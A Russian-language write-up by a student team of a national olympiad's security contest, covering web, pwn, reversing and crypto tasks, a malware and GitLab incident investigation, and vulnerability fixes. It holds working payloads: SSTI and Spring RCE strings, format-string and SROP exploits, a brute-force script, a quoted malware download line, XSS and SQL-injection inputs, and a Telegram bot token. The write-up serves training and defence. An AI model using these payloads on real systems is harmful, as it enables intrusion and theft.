****

**Отчет о работе команды “утята”**

Национальная Технологическая Олимпиада

Профиль “Информационная безопасность”

**Наступательная кибербезопасность**

Web 1 (10)

Переходим на страницу задания и видим календарь. Замечаем, что можем эксплуатировать LFI на сайте. Переход по ссылке http://192.168.12.10:5001/download?file\_type=../../etc/secret скачивает файл с флагом.

Web 2 (20)

Открыли файл, обнаружили, что строка password по-умолчанию всегда равна “password”. При помощи эксплуатации уязвимостей фреймворка Spring, мы можем отправить нужную полезную нагрузку. Затем переходим по ссылке /login?password=password и в ошибке видим вместо flag – сам флаг. http://192.168.12.13:8090/doc/\_\_${T(java.lang.Runtime).getRuntime().exec("cat flag")}

Web 3 (30)

Заметим, что в настройках прокси сервера hiproxy банятся страницы, которые начинаются с /flag благодаря флагу -i. А что, если мы перейдем по //flag? Мы получили доступ.

Теперь, заметим, что в переменной name есть SSTI при помощи ?name={{7\*7}}. Эксплуатируем, получаем флаг через RCE. //flag?name={{cycler.\_\_init\_\_.\_\_globals\_\_.os.popen(%22cat%20./flag.txt%22).read()}}

Pwn 1 (10)

Заметим в данной строке уязвимость форматной строки.

fgets(s, 1024, \_bss\_start);

printf(s);

С помощью pwntools сформируем форматную строку, которая запишет в exit.got адрес win функции

Эксплоит:

io = start()

fmt = fmtstr\_payload(6, {exe.got['exit']: exe.sym['win']})

io.sendline(fmt)

io.interactive()

Pwn 2 (20)

Проанализировав исходный бинарный файл приходим к выводу, что он был написан на ассемблере и является уязвимым к атаке SROP. Первым делом запишем на стек ROP, который запустит программу заново и SigreturnFrame, который позволит контролировать все регистры процессора

Эксплоит:

io = start()

SYSCALL = exe.sym['\_start'] + 21

POP\_RAX = exe.sym['\_start'] + 24

frame = SigreturnFrame()

frame.rax = constants.SYS\_execve

# frame.rdi = next(exe.search(b'/bin/bash'))

frame.rdi = 0x41430

frame.rip = SYSCALL

io.send(flat([

0,

POP\_RAX,

constants.SYS\_read,

exe.sym['\_start'],

SYSCALL,

frame

]))

io.send(flat([

0,

SYSCALL

])[:0xf])

io.interactive()

Rev 1 (10)

Легкий реверс из нескольких “приколов”: динамически-подргужаемого массива, прыгающий xor

import ctypes

from string import printable

from itertools import product

dword\_4040 = [ *# [14]*

0x0EDCFE1F3, 0x646BCD23, 0x50F9AD57, 0x0F299B1E1,

0x0C6A9B6E4, 0x3280614C, 0x93772B02, 0x0AB2C3A43,

0x2A0D936A, 0x1BFA14D4, 0x255D6F2F, 0x0C447F66B,

0x5AD96CF5, 0x0E964AD12,

]

dword\_40C0 = [0 for \_ in range(256)] *# [256]*

out = ""

def sub\_1159() -> None:

*# result = 0x00000000*

j = 0

i = 0

v3 = 0 *# uint64*

for i in range(0, 256):

v3 = i

for j in range(0, 8):

if (v3 & 1) != 0:

v3 = (v3 >> 1) ^ 0xEDB88320

else:

v3 >>= 1

*# result = dword\_40C0*

dword\_40C0[i] = v3

def flag\_check(flag: str) -> bool:

global out

sub\_1159()

*# v4 = 0 # char ?????*

flag\_len = len(flag)

for i in range(0, flag\_len >> 1):

*# v3 = flag[2 \* i : 2 \* i + 2]*

for c1, c2 in product(printable, repeat=2):

c = f"{c1}{c2}"

if dword\_4040[i] != sub\_11DE(c, 2, 0xFFFFFFFF):

continue

out += c

break

else:

raise RuntimeError("bruh")

*# return dword\_4040[flag\_len // 2] == 0*

return True

def sub\_11DE(\_a1: str, a2: int, a3: int):

*# a1 = int.from\_bytes(\_a1.encode(errors="ignore"))*

for i in range(a2):

v3 = ord(\_a1[i])

a3 = (a3 >> 8) ^ dword\_40C0[ctypes.c\_uint8(a3 ^ v3).value]

out = ctypes.c\_uint(~a3).value

return out

def main() -> None:

result = flag\_check("nto{like\_bruhajadja123abdda}")

print(out)

if \_\_name\_\_ == "\_\_main\_\_":

main()

Crypto 1 (10)

Типичная атака на AES CBC padding oracle attack. Стучимся с тестовым пином, рано или поздно получаем пин. Потом его отправляем, получаем флаг

import requests

def main():

target = "http://192.168.12.12:5000"

data = {

"pin": 99999

}

for pin in range(10 \*\* 4):

data["pin"] = int("0" \* ( 4 - len(str(pin)) ) + str(pin))

req = requests.post(

target + "/api/EncryptPin",

json=data

).json()["encrypted\_pin"]

resp = requests.get(

target + "/api/EncryptedPin"

).json()["encrypted\_pin"]

if req != resp:

continue

print("Found: ", req, resp, pin) *# FOUND*

break

if \_\_name\_\_ == "\_\_main\_\_":

main()

**Расследование инцидента**

Задание 1

1. ВПО было отправлено с помощью электронной почты на company\_worker123@rambler.ru. Письмо прилагаем.

Hi, John

With this letter I'm sending you the NDA documents regarding the software

you made an inquiry about. You've been warned about the consequences if you

spread it amongst the people without enough permission.

This document is packed with state-of-the-art protection software and

verifies the recipient with PC fingerprint so it requires admin privileges.

Any unathorized access will be recorded and punished.

Sincerely yours,

Jeremy Nathan,

Microsoft Security Center

1. К письму был приложен дроппер, который на предоставленной машине находится на C:\Users\Evgeniy\AppData\Roaming\Rjomba.exe. Полезная нагрузка была скачана с сервера, у которого IP: 95.169.192.220.

New-Object System.Net.WebClient).DownloadFile('http://95.169.192.220:8080/prikol.exe', $drop);

1. Злоумышленник использовал **CVE-2023-38831** в ПО WinRar. Эта уязвимость позволяет злоумышленникам выполнять произвольный код через специально созданный архив. Уязвимость возникает из-за неправильного обращения с архивами, содержащими неопасные файлы, например обычные PDF-документы, вместе с папками с одинаковыми именами.
2. ВПО использует функцию IsDebuggerPresent для определения запущенных процессов, которые пытаются отлаживать процесс ВПО. Дополнительно, ВПО использует черный список программ и килляет процессы. Например, после переименовывания файла “Process\_Hacker.exe” на “Aboba.exe”, Process Hacker больше не киллялся. Также, ВПО использует CheckForDebuggerJustMyCode для определения использования дебаггера в интерактивном режиме.
3. AES/CBC. Длина ключа: 256
4. Ключ: amogusamogusamogusamogusamogusam.
5. Злоумышленник отсылает собранные данные (история веб-браузера и скриншот рабочего стола) на IP адрес 149.154.167.220 (api.telegram.org). В боте он дергает API-эндпоинт Telegram /sendDocument. Токен Telegram-бота:  
   bot7029575943:AAFNYmmW\_QqqMcaHZ-DFRn3M05DptExeAGE

Вот часть запроса, которые содержат данные идентификации устройства:

--$$QmJ5zOVPfGlDt0UQcmrqYHVohBZj7Ekc$$

Content-Disposition: form-data; name="chat\_id"

6591405725

--$$QmJ5zOVPfGlDt0UQcmrqYHVohBZj7Ekc$$

Content-Disposition: form-data; name="caption"

{ab942673-d5a2-11ee-b27c-806e6f6e6963}

Также, в запросе передается файл info.txt, который зашифрован тем же алгоритмом, что и файлы, зашифрованные на компьютере.

1. Файл pass.txt имеет следующее содержание:

sFYZ#2z9VdUR9sm`3JRz

Задание 2

### Вопрос 1

Уязвимый сервис – GitLab. Версия: 15.2.1.

### Вопрос 2

CVE-2022-2884 и CVE-2022-2992, все они ведут к RCE через GitHub Import.

### Вопрос 3 и 4

Злоумышленник получил RCE от пользователя git и смог повысить свои привилегии через мисконфиг sudoers файла

git ALL=NOPASSWD: /usr/bin/git

### Вопрос 5

Злоумышленник добавил свой ключ в /root/.ssh/authorized\_keys

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIKXFjUp2LlKAsLvM1PZE7CYEfztiZrOf8PHx9ja1mu2 amongus@debian

### Вопрос 6

LinPEAS. Мы нашли команду удаления linpeas в .bash\_history от root. Он попал в систему от autokitter.sh, который установил и запустил его.

rm -rf /tmp/linpeas.txt

### Вопрос 7

На сервере установлен rootkit в корне системы под названием JynxKit с reverse SSL backdoor.

**Исправление уязвимостей**

# Ошибка при изменении доступов

## **Описание**

При изменении доступов JWT токен не оперативно изменяется и у пользователя остаются доступы.

## **Эксплуатация**

Заходим с пользователя-админа, и у нас другой пользователь снимает админку. Мы все еще имеем доступы. Это может быть критичным в случаях, когда у пользователя надо срочно забрать права администратора.

## **Исправление**

Добавить проверку на isAdmin пользователя из базы данных.

cursor.execute("SELECT isAdmin FROM user WHERE login = ?;", (username,))

row = cursor.fetchone()

if row is None or not row['isAdmin']:

error = "Необходимо иметь права администратора для выполнения этого запроса."

# XXS

## **Описание**

На каждой странице сервиса есть “блог”, который отображается другим пользователям. В пост можно вставить любой контент, в том числе XSS.

## **Эксплуатация**

В качестве примера, могу привести следующий пейлоад:

<a onmouseover="alert(document.cookie)\">xxs link</a>

При наведении мышки на ссылку, появляется окошко с данными о куках.

## **Исправление**

Данный пример заменит символы, которые могут быть проблемными в HTML (н

...

noteText = escape(content['noteText'])

...

# SQLi

## **Описание**

В /root/app/auth\_api.py на строке 211 есть SQLi инъекция. Формируется запрос, данные от пользователя не экране без изменений появляются в запросе.

sql\_query = "UPDATE user SET pw = '" + str(new\_password) + "' WHERE login = '" + str(username) + "';"

## **Эксплуатация**

Можно изменить пароль другому пользователю и зайти от него. Например, пейлоад:

123' WHERE login = 'avdeeva';--

## **Исправление**

В этом примере, знаки вопроса ? в SQL запросе являются плейсхолдерами, которые заменяются при составлении запроса. При таком подходе специальные символы автоматически экранируются, чтобы предотвратить SQL-инъекции.

db = Database().connection

update\_cursor = db.cursor()

sql\_query = """UPDATE user SET pw = ? WHERE login = ?;"""

try:

update\_cursor.execute(sql\_query, (new\_password, username))

db.commit()

except sqlite3.IntegrityError as e:

error = "Ошибка БД: " + str(e)

code = HTTPStatus.INTERNAL\_SERVER\_ERROR